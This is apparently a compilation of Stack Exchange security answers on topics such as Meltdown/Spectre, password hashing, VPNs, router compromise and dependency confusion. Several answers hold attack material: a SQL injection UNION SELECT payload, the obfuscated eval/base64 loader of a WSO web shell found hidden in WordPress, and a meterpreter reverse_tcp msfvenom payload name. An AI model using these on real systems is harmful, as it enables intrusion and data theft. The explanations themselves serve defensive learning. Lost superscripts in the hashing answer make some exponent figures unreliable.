Nmap same site different computer different results

I guess somesite.com is external for your local machine and for your AWS machine too (I guess is not another AWS machine).

As people said in comments, at first sight it seems AWS is blocking some kind of traffic and from your AWS machine to somesite.com. There are some firewall restrictions.

But there are something strange on this... for example, you are "losing" port 443 which is a very common port used for SSL connections. And usually that port is not blocked by default even in AWS. So clearly your AWS machine has a special configuration or maybe is not your machine, is your AWS environment. Ask to the admins or if you are the admin, ask to Amazon.


Authorization / Access control in a client-side-encryption environment

In short you need a separate authentication mechanism - i.e. the user needs to log into your server some how. Your random ID approach has several issues -

As you pointed out these need to be securely stored by the user. You also need to be certain they cannot be intercepted.
You have no idea what belongs to who. If a user loses their ID set you have stale documents on your server but no idea which documents are those ones. You also can't restrict users storage space etc.

I'm assuming because you have asked that you do not want users to have to store multiple passwords. Which really leaves three approaches - both of which require a user ID or username for the case where multiple users choose the same password.

On the client side you take a cryptographically secure hash of the users password. This becomes the users authentication password (so you store a hash of the hash on the server). This is fairly simple to implement. In theory it should be secure but passphrase re-use isn't advisable.
The user generates a private/public key pair from the user ID + passphrase (by using a key derivation function to generate the seed to a CSPRNG which is used to generate the private key). You would then generate an entirely random symmetric encryption key, encrypt this with the private key and send both the encrypted symmetric key and asymmetric public key to your server. The private key can be recovered with the passphrase. The application gets the encryption key by requesting the encrypted version from the server and decrypting it with the private key. The user authenticates by signing messages with the private key - and the server can verify them with the public key.


I can understand your confusion so I will clarify somethings:

Ignoring that there can be a phishing scam here, the developer is probably using PayPal's API and so the developer does not see your credentials. All he sees is if the transaction to his account from yours was completed or not.
Since the API is being used PayPal encrypts all the traffic between their servers and the client and so when logging in with them even on the worst app ever your login data will be encrypted and so that is not something to worry about.
PayPal will never ever let anyone touch your private bank info or password and so that is not something you have to worry about at all.

More about there API can be found here: https://developer.paypal.com/docs/faq/


How to use a Yubikey NEO (or any OpenPGP card or GnuPG in general) to sign X.509 CSRs?

GnuPG 2.1.0beta2 supports signing certificates in batch mode:

  Support X.509 certificate creation.

  Using "gpgsm --genkey" allows the creation of a self-signed
  certificate via a new prompt.

  Using "gpgsm --genkey --batch" should allow the creation of arbitrary
  certificates controlled by a parameter file.  An example parameter
  file is

Key-Type: RSA
Key-Length: 1024
Key-Grip: 2C50DC6101C10C9C643E315FE3EADCCBC24F4BEA
Key-Usage: sign, encrypt
Serial: random
Name-DN: CN=some test key
Name-Email: foo@example.org
Name-Email: bar@exmaple.org
Hash-Algo: SHA384
not-after: 2038-01-16 12:44

  This creates a self-signed X.509 certificate using the key given by
  the keygrip and using SHA-384 as hash algorithm.  The keyword
  signing-key can be used to sign the certificate with a different key.
  See sm/certreggen.c for details.

(source: Commit message, also NEWS)

I got it working, here are the steps involved (Do not do this on your production system!)

You need libksba >= 1.3 (get it here)
Get the 2.1 beta 3 from ftp://ftp.gnupg.org/gcrypt/gnupg/unstable/
Create a key which will be used for signing (that's the CA key which in the real application will never leave your Open PGP card / Yubikeo NEO) - if you want to use a password (recommended if you still want to use this in production), remember that you must setup pinentry to work without your console, i.e. either use a graphical one or use screen and set GPG_TTY to the other tty when you use pinentry-curses (note to self: when the prompt shows, hit enter once to actually activate it and not use your passphrase as a cleartext command...)
Create a key which will used for the certificate (I don't know if you can also use gpgsm to sign other CSRs, you'll probably have to extract the public key in that case)
(I used one main key for the CA and its subkey for the certificate)
Obtain the Key-Grips: Either check the filenames in ~/.gnupg/private-keys-v1.d and deduce it from the creation date, or run gpg2 -K --with-key-data, search for the line containing the key ID (not the entire fingerprint, that is somehow split up and scrambled) and check the next line starting with grp:::
Create a self-signed CA certificate with the following batch input:

Key-Type: RSA
Key-Grip: E9CE7D421500AD119A4E308BC34317710AA2D57F #(replace with CA keygrip)
Key-Usage: cert
Serial: random
Name-DN: CN=Test Root CA
Hash-Algo: SHA512
not-after: 2038-01-16 12:44

and run gpgsm --gen-key --batch --output CA.crt < batchinputfile

Create a signed certificate with the following batch input:

Key-Type: RSA
Key-Grip: E308BC34317710AA2D57FE9CE7D421500AD119A4 #(replace with keygrip)
Key-Usage: sign, encrypt
Serial: random
Name-DN: CN=Tester
Issuer-DN: CN=Test Root CA
Hash-Algo: SHA512
not-after: 2038-01-16 12:44
Signing-Key: E9CE7D421500AD119A4E308BC34317710AA2D57F #(replace with CA keygrip)
Authority-Key-Id: E9CE7D421500AD119A4E308BC34317710AA2D57F #(replace with CA keygrip)

and run gpgsm --gen-key --batch --output cert.crt < batchinputfile

Some more information on possible batch parameters can be found here (incomplete doc) and in certreqgen.c; you should also manually include basicConstraints via Extension, which is by default omitted if you specify an Issuer-DN, as can be seen in the source.


sql injection: use WHERE statement in address bar

You can retrieve the columns for a specific table with this request :

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

Source : http://www.websec.ca/kb/sql_injection#MySQL_Tables_And_Columns


Can an attack that does not change the server state be considered a CSRF attack?

The "state" of the server, in the case of a Bittorrent client, at least includes the list of pending, current and finished downloads, any data related to those downloads, and any settings related to the Bittorrent client's operation.

The "attack" is causing the Bittorrent client to start downloading data based on some specific torrent file that is available online, presumably under the control of or chosen by the attacker.

Causing the Bittorrent client to add a specific torrent to its list of pending downloads seems a clear state change, but one that could be temporary. However, once the file starts downloading, we can easily argue that the act of downloading the file definitely causes a persistent change of state on the system by storing arbitrary, dangerous and/or illegal data to disk, as well as the fact that we are now redistributing that data to others which in itself could be at least illegal.

Hence, the attack does change the server state (where in this case the "server" is the machine running the Bittorrent client software that is accessible through the web interface via its built-in web server functionality; that the software happens to also act as a Bittorrent client is immaterial here), and as such meets the OWASP definition of a CSRF attack that you quoted in your question. This in turn leads to the conclusion that yes, the described vulnerability does constitute a CSRF attack according to that definition.


Uncontrolled Format String Vulnerability in JavaScript

No, these are not possible in Node.js as sprintf is a basic string formatting utility. This is now built into the language as util.format.

As per the documentation, this function only supports basic formatting such as %s, %d and %j. There is no way of retrieving a pointer value using %p, hex formatting it using %x or outputting the number of characters using %n, which is where the vulnerability lies in C. C documentation on the formatting options here.

C is a native language, so it is possible to cause a buffer overflow using string format. However, Node.js is a managed language and it is not possible to directly control registers, therefore you won't get the same type of vulnerabilities here.

See here for some format string exploit examples.


Found this weird code in my Wordpress under wp-includes

This definitely is something that the author did not want to looked at. Even the gist at Github looks like just the nine lines of code you’ve posted here. Just a script to avoid directory listing …

But only on first sight. Because if you look closer, the last line is enormous 91959 characters long with a lot of whitespace after the initial }.

The whole additional code is wrapped in an if statement:

if (isset($_GET[str_rot13(pack("H*", "667265707267"))]))

This checks whether $_GET['secret'] is set. The code within the if block is basically a variable holding the actual payload ($_X):

$_F=__FILE__;
$_X="…";

And a decoder:

eval(base64_decode("JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPXN0cl9yZXBsYWNlKCdfX0ZJTEVfXycsIiciLiRfRi4iJyIsJF9YKTtldmFsKCRfUik7JF9SPTA7JF9YPTA7"));

Using echo instead of eval results in:

$_X=base64_decode($_X);
$_X=strtr($_X,'123456aouie','aouie123456');
$_R=str_replace('__FILE__',"'".$_F."'",$_X);
eval($_R);
$_R=0;
$_X=0;

After another decoding step, the actual payload is decoded and reveals a WSO Web Shell version 2.5 with 2ef1d6430bce32d929d13a00fe281be8 as the MD5 hash of the password.


How to avoid leaving any local trace that I went to a website?

There are some security benefits to running the browser in a sandbox.  If the browser gets compromised, then the sandbox can limit the damage.

However, there are also serious usability implications of running your browser in a sandbox.  For instance, say you want to download a document off the web and save it somewhere for later use.  Nope, sorry, no can do: a proper sandbox will isolate the browser and prevent it from writing to the rest of the filesystem.  Or, suppose you want to take one of your documents or pictures and upload it to a website.  A sandbox has to choose between allowing this (supporting a common use scenario, but also raising the risk that a compromised browser could start exfiltrating files of yours over the network) vs denying it (preventing you from getting useful work done or limiting your ability to use certain web services).  When you try building and using a browser sandbox, you run into many tradeoffs like this.

So, a sandbox can be useful in especially security-sensitive situations, but just be aware that it comes with some tradeoffs.

One commonly-used way to run the browser in a sandbox is to run the browser in a virtual machine.  You can isolate the VM from the rest of your activities, providing isolation.  Also, if you wish, you can use a throwaway VM that restores back to a known-good checkpoint after each use, so that a compromise that occurs during one session cannot harm you in future sessions.

There is no particular security benefit to running in a ramdisk, per se.  (A ramdisk does not prevent a compromised browser from writing to the rest of your filesystem, leaving malware on your system, or doing other damage.)  I suspect you may be thinking of running the browser in a throwaway VM or some other sandbox technology that reverts back to the initial state after each session.

The simplest way to set this up is with a VM.  Another simple way is to use, as you suggest, a LiveCD.  There are also commercial products out there that focus on sandboxing browsers.  (See, e.g., Sandboxie; there are probably many others.  There used to be a company called GreenBorder that sold a browser sandbox, but it was not a commercial success and no longer exists.)  See also Is using a “Red” and a “Green” browser to balance LOB requirements and security a good approach?.


Can you listen to your last GSM call recorded when calling back a user?

This looks like a bug.

Actually, regardless of whether there was interception or not, this is bug: when you spy on someone, you certainly don't want to make that person aware of the spying. But in this case, I'd rather incline towards a more mundane buffering issue.

In phone networks, especially mobile networks, audio data is split into individual packets which are then sent to the receiver and meant to be reassembled into due order. Various technologies are employed for the data transit and some (most) of them use buffering at some point. For audio data, it makes little sense to keep a packet for a long time, because the receiver, at one point, decides that it has waited for long enough and plays whatever was received, even if there are holes. That's the common characteristic of media data: there are latency constraints, so lost or late packets must be accommodated through interpolation. Thus, buffered packets will commonly be marked with a time stamp which allows for an expiry process.

I can imagine that a buffering systems may get it wrong with the time stamping under rare conditions, e.g. if the machine's clock was unduly reset at the same time. This may induce the effect observed by your wife.

(More generally, programming blunders are way more common than genuine spying. Thinking otherwise requires assuming that people working for spy agencies are utterly more competent than the rest of the IT industry, which is not plausible,
James Bond notwithstanding.)


Any reason to slow hash passwords generated randomly by our site?

Ok, so the site generates a random password for each user at registration time. An important question is whether a user can can manually set their password later, or if they are forced to use a random site-generated password. Let's look at the two cases separately.

Random passwords

As far as I can tell, this is the scenario you are describing in the question. Unfortunately, your dev is (mostly) right. At least about single iteration of hashing vs a big slow hash. Your question kinda has the flavour of blindly applying "best practices" without considering what those practices were intended for. For a brilliant example of this, here's a good read:

The Guy Who Invented Those Annoying Password Rules Now Regrets Wasting Your Time

Suggestion

Do switch from MD5 to SHA256, probably add a per-user salt, and maybe consider going to 32 char passwords. But adding a big slow hashing function will increase your server load for little to no added security (at least barring any other goofs in your implementation).

Understanding hashing as a brute-force mitigation

The amount of work a brute-force attacker who has stolen your database needs to do to crack password hashes is roughly:

entropy_of_password * number_of_hash_iterations * slowness_of_hash_function

where entropy_of_password is the number of possibilities, or "guessability" of the password. So long as this "formula" is higher than 128 bits of entropy (or equivalent work factor / number of hash instructions to execute), then you're good. For user-chosen passwords, the entropy_of_password is abysmally low, so you need lots of iterations (like 100,000) of a very slow hash function (like PBKDF2 or scrypt) to get the work factor up.

By "20 digits hex digits" I assume you mean that there are 1620 = 280 possible passwords, which is lower than "best-practice" 2128, but unless you're a government or a bank, you probably have enough brute-force security from the entropy of the password alone.

Salts also serve no purpose here because pre-computing all the hashes is like 280 * 32 bits/hash, which is roughly 1 ZB (or 5000 x the capacity of all hard drives on the planet combined). Rainbow tables help this a bit, but quite frankly, any attacker capable of doing that, deserves to pwn all of us.

You still want to hash the password to prevent the attacker from walking away the plaintext for free, but one hash iteration is sufficient. Do switch from MD5 to SHA256 though, and maybe consider going to 32 char passwords.

Human brain passwords

Commenters on this thread seem obsessed with the idea that, despite your statement that the site generates passwords, users can in fact choose their own passwords.

As soon as the user has the possibility to change the password, the a single hash iteration is no option for storing the now low-entropy password. In this case you are correct that you need to do all the best practice things for password storage.

Salting

Either way (user-chosen or random passwords) you probably want a per-user salt.

If user-chosen, then salts are part of the best practices. 'nuff said.

If random, @GordonDavisson points out a really nice attack in comments [1], [2] based on the observation that a db lookup is essentially free compared to a hash computation. Computing a hash and comparing it against all users' hashes is essentially the same cost as comparing it against a specific user's hash. So long as you're happy getting into any account (rather than trying to crack a specific account), then the more users in the system, the more efficient the attack.

For instance, say you steal the unsalted hashed password db of a system with a million accounts (about 220). With 220 accounts, you statistically expect to get a hit in the first 260 guesses. You're still doing O(280) guesses, but  O(260) hashes * O(220) db lookups ~= O(260) hashes.

Per-user salts is the only way to prevent attacking all users for the cost of attacking one user.


This answer is an attempt at addressing simply the main concerns. The details here might not be exemplary accurate, or complete. I'll try to link to more detailed explanations when possible.

What is speculative execution and what does it do?

Speculative execution is a feature of modern processors that comes as an optimisation. To allow for the parallel treatment of instructions into the processor pipeline, instructions can be processed ahead of time by using techniques such as branch prediction, value prediction or memory prefetch. Instructions can then be executed out-of-order.

This is a way to gain time by predicting correctly what happens next, instead of keeping the processor idle.  When the prediction fails, the instructions are rolled back.

What is the difference between Meltdown and Spectre?

Meltdown exploits are globally easier to implement than Spectre.

Meltdown takes advantage of memory reads in out-of-order instructions, Spectre acts on the branch prediction mechanism.

Spectre allows for cross/intra process memory disclosure, Meltdown allows disclosure of kernel memory to the user-space processes (normally not accessible).

Meltdown has a known software mitigation.

Both rely on a cache side-channel attack, which is a measure of timing differences when accessing certain blocks of memory to deduce the information otherwise unknown.

How does Meltdown work?

In a nutshell, Meltdown works by asking the processor to load memory the user-space program should not have access to. Memory is read in an out-of-order fashion and put into cache. Using a side-channel attack (execution time measurement) on the cache, it is possible to infer the value of that memory location.

How does Spectre work?

Spectre works on a different level and does not allow access to kernel-space data from user-space. In this attack, the attacker tricks the speculative execution to predictively execute instructions erroneously. In a nutshell, the predictor is coerced to predict a specific branch result (if -> true), that results in asking for an out-of-bound memory access that the victim process would not normally have requested, resulting in incorrect speculative execution. Then by the side-channel, retrieves the value of this memory. In this way, memory belonging to the victim process is leaked to the malicious process.

How do I protect myself?

Update your operating system and/or hypervisor.

The main operating system distributors already release patches to implement the KPTI/KAISER behaviour. This is a means to reduce the attack surface by removing the user memory mapping of the kernel that are not strictly necessary for the processor to function.

Microcode (firmware) updates are likely to be release at some point.

Are the KPTI/KAISER patch sufficient to protect my computer?

No. And it only covers Meltdown.

The problem lies in the architecture design of the processors. To solve the problems completely (or even partially in the case of Spectre), at least a firmware update will be necessary. It is also possible that processors will have to be replaced by more recent models without this design flaw.

The patch is claimed to induce a loss of performance, is it true? How much does this mean?

Yes, but the loss incurred is dependent of the software workflow. Claims are it could range from 5% to 30% loss, depending on how system call reliant your software is. Benchmarks with high kernel-to-user space transitions, such as databases, have been reported to be the most affected.

This is still undergoing investigations, preliminary reports have been made (see links).
However, since impacts vary by application, you should test the performance impact in your environment rather than relying on generic benchmarks.

Preliminary results (independent??):

Phoronix 1
Phoronix 2
RedHat

Official announcements:

Microsoft announcement
Intel announcement
Apple

Can I/Should I disable the new patch if I worry about performance losses? What are the risks?

No. You can, but it's definitely not recommended.

First of all, if you're managing data from others, you would make your clients vulnerable to data theft.

Then, the performance losses still have to be properly evaluated and are highly dependent on your specific workflow. It's not a straight down 30% in performances.

Should you disable KPTI, you run the risk of having your confidential data leaked.

Which platforms and which CPU are vulnerable?

Most of the Intel CPU are vulnerable to both attacks. AMD CPU seems to be only affected by Spectre. Some ARM Cortex processors are affected, while all other ARM processors are not. PowerPC processors in the POWER 7, POWER 8, and POWER 9 families are affected, and others may be.

(see links for details).

I am running a Virtual Machine/Containers, to what extent am I vulnerable?

As per Steffen Ullrich's answer

Meltdown attacks do not cross VMs, only leaks kernel memory to local processes.
Spectre can work across VMs.

Also, from Steffen again, Meltdown and Spectre works with containers, as containers relies on the host kernel.

Can I detect Meltdown/Spectre attack on my computer?

It's very difficult, if even possible to.

Meltdown and Spectre both uses a designed property of the CPU that is triggered by innocuous programs all the time, making malicious programs difficult to tell apart from benign programs.

Are these attacks a remote code execution vulnerability?

No they aren't.

To be able to apply this attack, the attacker need to be able to execute code on the target host. Note however that if these are combined with other attack vectors, for example file upload or cross-site-scripting exploits, then there is a possibility of executing them remotely.

Do I need to patch my software/website?

In an ideal world, no.

In reality, some browser vendors already have implemented decrease in time accuracy measurements to mitigate the side-channel attacks. The KPTI should already provide a fair enough fix for programs using native system calls.

Can I be affected while visiting a website?

Yes, there's already a proof of concept of a Javascript exploit for Spectre (only).

Can you explain this with an image?

No, but Randall Munroe can:

[Source XKCD : https://xkcd.com/1938/]


What was the issue the UAE had with RIM/Blackberry and what was the outcome? What countries have similar agreements?

As far as I interpret the news there was no technical solution made. RIM made a contract with the UAE as well as India that they hand over communication of specific customers. It is not public under what circumstances they'll do it. There is only speculation around.

India has lawful access, BlackBerry assures India on access to services
Turkey wants RIM data

So the three known countries are UAE, India and Turkey. Maybe others want it too. If you google around you'll find more details.


ARP spoofing and DHCP spoofing can only take place within a broadcast domain, so no firewall will protect against them (except insofar as it helps keep malicious people off machines in the broadcast domain).

Other equivalent vulnerabilities, such as LLMNR and NBT-NS poisoning, are also limited to the broadcast domain.  By definition, any spoofing attack which relies upon the victim making a broadcast for information is going to be local to the broadcast domain.

DNS spoofing is one form of spoofing that is not limited by the broadcast domain; getting a bad record in any upstream DNS server or cache is sufficient.  Firewalls also lack any particular defense against this.


There is no way to be completely certain it's secure.  There's no way we know of to be completely certain anything is secure.

Failing complete security, there are several ways to be reasonably assured that the security level is adequate.

The best way it to have the product audited by people who are knowledgeable about such things...Both the cryptography side, and the secure software development side.   Additionally, not only does the current implementation need to appear to be reasonably free of flaws, but they need to have plans for maintenance and patching to ensure it stays that way, and that if issues are found in the future, they can be swiftly remediated.

If you can get a through audit done, it's also reasonable to expect that something built by respected members of the applied crypto and secure software communities is probably alright to use.   I don't know if this is or not.

So, if you don't have insight into the software itself, or at least the creators of the software, then no, there is no good way to adequately determine if it is well designed and implemented or not.

That said, the "military-grade" marketing bullet aside, there are no glaring flaws in the approach they describe.   AES-256 is a fine choice.   PBKDF2 is not as good as scrypt or bcrypt for this purpose, but perhaps more likely to be already correctly implemented on the platforms they're using, and it's good enough.  They make it clear that decryption is only done client side, and there is no master key recovery process, which is good.  They claim all communication between server and client is done via SSL (hopefully really TLS) which, if done properly, is correct.

There are things we can't know from the description alone.   Are they using AES correctly?   Is the number of PDKDF2 rounds really adequate for the purpose?  Are they managing the decrypted data, password and key materially securely on the client?   These are a few of the questions that I would want answered before choosing a product like this...Though really, I would be hard-pressed to pick an also-ran in this market space over something like KeePass or Password1 in any case, without a specifically compelling reason.   There's just less chance that it'll get the appropriate scrutiny and that any issues it does have will be brought to the surface for resolution.


How would you protect a user against a malicious client?

I'm not sure there as a good answer to this question.

  Given in OAuth 2.0 or some other Web Application or even REST API server. How would you protect users from using a malicious client or a compromised browser?

The usual question here is "How do I protect the server / other users from a compromised client?". That's a tricky question, but there are answers through designing the app with malicious users in mind.

Your question is different. If I'm understanding your question properly, your user has willingly given their account credentials (in whatever form those are, username/pass, OAuth2 token, wtv).

Example scenario: Let's take "malicious client" to be a version of Firefox that I modified the source for, built into a binary, and got you user to install. There's some code in there to trigger once the user logs into facebook.com. Once the user logs into facebook, the attacker has now become the victim as far as the facebook servers are concerned. Moreover, the attacker now controls both what gets sent to the server and what gets displayed to the user. That's infinite power.

Law #1 seems to apply:

  Law #1: If a bad guy can persuade you to run his program on your computer, it's not solely your computer anymore.

I agree with you; other than training users not to install sketchy software, there's not much you can do to protect them.

The good news is that for a well-built application, the compromised user is only hurting themself, the rest of the userbase remains un-compromised, but that's outside the scope of your question.


Secure way of sending a excel document to a third party?

The appropriate level of security depends on the threats involved, so you to make some judgment calls. Password-protected Excel files have not been that secure in past versions and there are tools to break the older protections.

If you need a GUI-based, easy-to-use, Windows-based solution (I'm making assumptions), then many Windows file compression tools offer encryption (7zip is also a popular option and easy to use). You zip the file, then add encryption with a password. This process would protect the contents of the file but often exposes the file name (if that's a concern).

But you asked about sharing the password. The general idea is that you share the password through a different channel than the channel you used to share the file. So if you are emailing the file, you SMS or phone the recipient with the password, for example. This protects against someone who has access to the recipient's emails (or the email stream between you and the recipient) gaining both the file and the password.


What kind of backdoor can be made after hacking wi-fi?

An attacker with admin access to your wifi router can install a firmware "update" that contains any number of nasty things, such as a back-door for shell access or a secret password that will always allow access.

Real life example: The DNSChanger trojan configured a rogue DNS server that would direct all of your advertising traffic to the DNSChanger team's own advertising network.  This was quite invisible; who cares if you're getting ads from a different ad network?  Doubleclick, for one.  DNSChanger has a really great takedown story and presentation if you're interested.

(DNSChanger was primarily a Windows trojan, but it also compromised wifi routers, which are a lot harder to repair.)

To safeguard your router, make sure its firmware is up to date and that your admin password is a strong one that is very different from both your access password and the router's default password.

Detecting a compromise is basically impossible.  If you are concerned, wipe the router:

Remove the antennae and LAN cables except your own laptop (to prevent access for now)
Copy the configuration down on a piece of paper (a compromise could come with a backup!)
If it's possible, try a factory reset (you can't trust it, but it could help)
Flash the router with the latest firmware (even if it's the same version you have installed)
Copy the config back to the device
Change all passwords
Reattach the antennae and LAN cables


What does using a VPN offers over HTTPS + DoH in terms of protection?

A VPN provides an encrypted tunnel from the VPN client to the VPN exit. All that somebody in the path of the tunnel (like the ISP) can see is that there is some traffic between client and exit, including how much traffic and some timing. With HTTPS + DoH the application payloads and DNS lookups are encrypted too, but much more meta data are visible: the IP address of the servers visited, the domain names accessed since the majority of the TLS handshakes still use plain SNI (and no ESNI), the communication pattern to specific servers instead of only the aggregated traffic between VPN client and VPN exit etc. Based on these available information an active man in the middle can with a VPN only block the whole VPN, but with HTTPS + DoH do more targeted blocking for specific domains and IP addresses.
But with both VPN and HTTPS it is not possible to modify the traffic, only gain more (HTTPS+DpH) or less (VPN) information and do more (HTTPS+DoH) or less (VPN) targeted disruption of the traffic.


Probably because this missing block was assigned to a CVE Numbering Authorities (CNA): https://cve.mitre.org/cve/cna.html. As soon as a CNA have a vulnerability affecting one of their own products, then those missing CVE will be assigned.

In the CVE details page, you can check which CNA assigned a specific CVE, i.e: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8811 (Debian did it)


There is no way to "protect" the API unless you control all devices which can connect to it. For an API allowing use by user owned devices connecting over the internet then you must assume anyone can send anything to it.

You have two choices here -

Don't expire the tokens and scrap the uptatetoken call.
updatetoken requires an existing valid token. If it has expired then newtoken has to be called again and the user has to reauthenticate.

Personally if there is no web browser client (and even with one - just I would give web browser clients an expiring token) I would suggest the first. The token should only sit on the clients device - stored in the device keychain - so should be secure. Meanwhile if anyone has intercepted it they could just call updatetoken themselves to stop it expiring.


Information collected by Windows 10 at maximum privacy configuration

Edit: this answer includes information beyond what the question asks, mainly about settings less then the maximum. I have made it more clear by making the key paragraph start with a bold section.

Based on my observations of traffic from Windows 10, Microsoft's privacy policy and several articles from Microsoft and Others(see below) I think that the situation is far less bleak then the other answer indicates. You can turn almost all communication off if you like, and based on both my and others observations they abide by your decisions*.

First and foremost default Windows 10 has a very similar privacy policy to IOs, OSX and Android (1,2,3). This is becoming more common as operating systems become more cloud integrated. In order to use a Microsoft account for logons, syncing between devices, email or file storage the operating systems has to communicate with Microsoft servers.

Once you have enabled all of the privacy settings* the computer does still communicate with Microsoft (4). However when asked Microsoft responded with the following:

  "As part of delivering Windows 10 as a service, updates may be delivered to provide ongoing new features to Bing search, such as new visual layouts, styles and search code. No query or search usage data is sent to Microsoft, in accordance with the customer's chosen privacy settings. This also applies to searching offline for items such as apps, files and settings on the device."

Which was consistent with the data that was being transmitted (4).

If you give Outlook or OneDrive permission they will access and upload your files. To quote:

  "We collect content of your files and communications when necessary to provide you with the services you use." (3)

and

  "Examples of this data include: the content of your documents, photos, music or video you upload to a Microsoft service such as OneDrive, as well as the content of your communications sent or received using Microsoft services such Outlook.com or Skype" (3)

But access to this data is REQUIRED in order for those services to function. Also in contrast to many other services Microsoft (5):

  "Unlike some other platforms, no matter what privacy options you choose, neither Windows 10 nor any other Microsoft software scans the content of your email or other communications, or your files, in order to deliver targeted advertising to you."

There are still a few gotchas. If you use default settings you will leak a lot of private information, including keystrokes (see privacy policy section on Input Personalization). Also if you use Bitlocker and OneDrive you recovery key is backed up by default. Finally there have been reports of encryption keys be sent in the Full (level set by user) error reports.

A lot of people have been really beating on Windows 10 for privacy reasons. I think that this comes from two separate areas. 1. The privacy policy for the Beta and the insider version is very bad. And it did include unlimited access to local files. 2. Microsoft had never done things like this before (outside of certain issues with privacy found in Windows 8 and 8.1). However the amount of issues in 8 was less then 10. We had expected this from Google, not from Microsoft.

Will Microsoft help investigations as required by law? Yes they will. Has Windows 10, by default, traded privacy for convenience and features? Yes it has. But do they continue to invade your privacy when told not to? It appears that they do not.

*There have been reports of privacy settings being changed by bugs fairly early on in Windows 10's life cycle. Personally I believe that this was an accident as I have never written bug free software.

http://www.google.com/intl/en/policies/privacy/
http://images.apple.com/legal/sla/docs/OSX10103.pdf
https://privacy.microsoft.com/en-us/privacystatement/
http://arstechnica.com/information-technology/2015/08/even-when-told-not-to-windows-10-just-cant-stop-talking-to-microsoft/
https://blogs.windows.com/windowsexperience/2015/09/28/privacy-and-windows-10/

Also please read this excellent answer: https://security.stackexchange.com/a/96727/97432.

And this one: https://security.stackexchange.com/a/129401/97432.

Disclaimer: I do not work for Microsoft or any of their partner companies. All of this is based on my own observations and the work of others. As Windows 10 changes these observations may become invalid. I compiled these on July 7, 2016. Future readers take these with a grain of salt.


After looking at this website article (https://www.pcicomplianceguide.org/will-emv-make-you-pci-compliant/) it looks like that yes, the data, specifically the PAN needs to be encrypted in accordance with PCI.


Why is it possible to verify RedPhone inline while not OTR text apps?

Reading off the text verifies that you have a secure connection to the person that read off the text. How do you know that's the person you intended to communicate with? ZRTP essentially assumes that you know by recognising their voice.

https://silentcircle.com/faq-zrtp#20

https://silentcircle.com/faq-zrtp#26

OTR obviously can't make that assumption, so you have to establish their identity some other way. If you use the fingerprint method, you don't need a private channel, just a verifiable one. For example, if you know the person's voice, you could make a phone call and exchange fingerprints.

For the other methods, you need to establish a shared secret using an already secure channel.

(Disclaimer: I've never used RedPhone, Telegram, or Wickr, but I'm assuming they are similar to other ZRTP and OTR apps).


The old syntax for showing payload options in msfvenom does not work

The syntax for the options have been updated. Use:

./msfvenom -p windows/meterpreter/reverse_tcp --list-options

You can also start msfconsole, select the payload and then use:

show options
show advanced
show evasions

etc to show further detailed options about the payload you have selected.


How to protect from dependency confusion attacks?

Microsoft published a white paper describing a few mitigation strategies. To summarize them:

Make use of a single dependency source instead of multiple: The idea here is to configure your package manger (e.g. via the pip config file) to only pull packages from a singular repository you control or trust. I guess in the "best" case you'd restrict it to a private repository you manage and mirror/copy over packages you need from other sources. There are some real downsides to that though (keeping third-party packages up-to-date is one).
Use something called "scopes" where applicable: Many package managers have a concept of "scopes" (e.g. https://docs.npmjs.com/cli/v7/using-npm/scope) where packages can be assigned a prefix that is unique to the controlling organization. This is especially useful if you make use of internal packages. Even if you don't plan on publishing them, you can register an organization and then (internally) make sure your package lists always use your organization name "scope". I believe yarn v2's workspace feature can be used to mitigate this as well.
Use client-side features to reduce the probability you will accidently upgrade to a malicious version. Some examples here are version pinning (e.g. "8.9.x" instead of ">=8.9") and integrity verification (npm ci instead of npm install)

3 is not a strong guarantee in my opinion, but is easy to do. 1 is sometimes a good option, but can be hard to implement/maintain. 2 is probably the "best" option, at least for preventing your internal packages from being compromised this way.


Are hacked email addresses a local network or web server problem?

Email addresses do not send spam.  Email servers do.

Anybody can forge your email address as the From address without hacking you at all.  That's how you get spam all the time that says it comes from you.  You can however tell from the email headers what servers it was sent through.

Best thing to do would be to contact the third party that is hosting your email.  Ideally, send them a copy of the headers from one of these spam emails.  They will be able to tell where the emails are coming from.

In fact, if they are coming from your website or a local computer sending email, they'll probably be contacting you eventually, since it will start getting their mail servers blacklisted eventually.


Can law enforcement track a criminal through dynamic IP address?

It depends on how smart the thief is.  We work with police to catch criminals based on their IP address on a regular basis.  We've got a high success rate, but we can't catch them all.

Usually, the IP address is enough to trace the connection back to the ISP (Internet Service Provider). Generally, ISPs will work with law enforcement in cased of known fraud or theft.  They usually require a warrant, but that is usually not difficult for law enforcement to get.  As long as the ISP knows who connected when, they can be of assistance.

Savvy criminals will, however, use anonymizers and other tools/approaches to mask themselves to make the process much more difficult.  Also, if they are logging on from public locations, it becomes exceedingly difficult.  At that point, you often need to enlist the aid of those locations to review surveillance footage.  That takes time, and a trained eye.  You've generally got to have enough login instances, and be able to review the video for multiple time frames to figure out who is in each of the videos and then try to identify the perpetrator.  It is possible, but very, very time-consuming, and the amount of time spent isn't always justified, given limited resources.

We've met with limited success on enlisting other businesses to let us use their security camera footage.  Some companies are willing to help because they are also victims of fraud, and view it as doing our part to protect each other.  Others may not have surveillance video, or it may have been overwritten, or they may just not want to provide it.


What does "don't roll your own security" mean?

Quoting Bruce Schneier:

  Anyone can design a cipher that he himself cannot break. This is why you should uniformly distrust amateur cryptography, and why you should only use published algorithms that have withstood broad cryptanalysis. All cryptographers know this, but non-cryptographers do not. And this is why we repeatedly see bad amateur cryptography in fielded systems.

'Rolling your own crypto' means you designing a new algorithm that you then proceed to use without either:

Auditing it, or worse
Publishing it at all. That is - keeping the algorithm private.

By implementing a known and trusted process or algorithm like pbkdf2, you have some level of guarantee that it has been audited and will not keel over and die the minute someone prods the algorithm itself. By using a widely accepted standard, you have some level of assurance that the algorithm is not going to be flawed and you only need to ensure that your implementation is secure. This is not rolling your own crypto. This is you implementing it and if your implementation is correct and you follow the guidelines, you're golden.

Further reading that might help: Schneier on the subject


How easy is it to crack gpg with private key, but without password

If you have a GPG private key  that is locked with a password, "cracking" the key reduces to password guessing.  There's a easy equation to answer that; what's hard is that there are two unknowns: the number of bits of entropy in the password and the number of guesses per second at attacker can make.

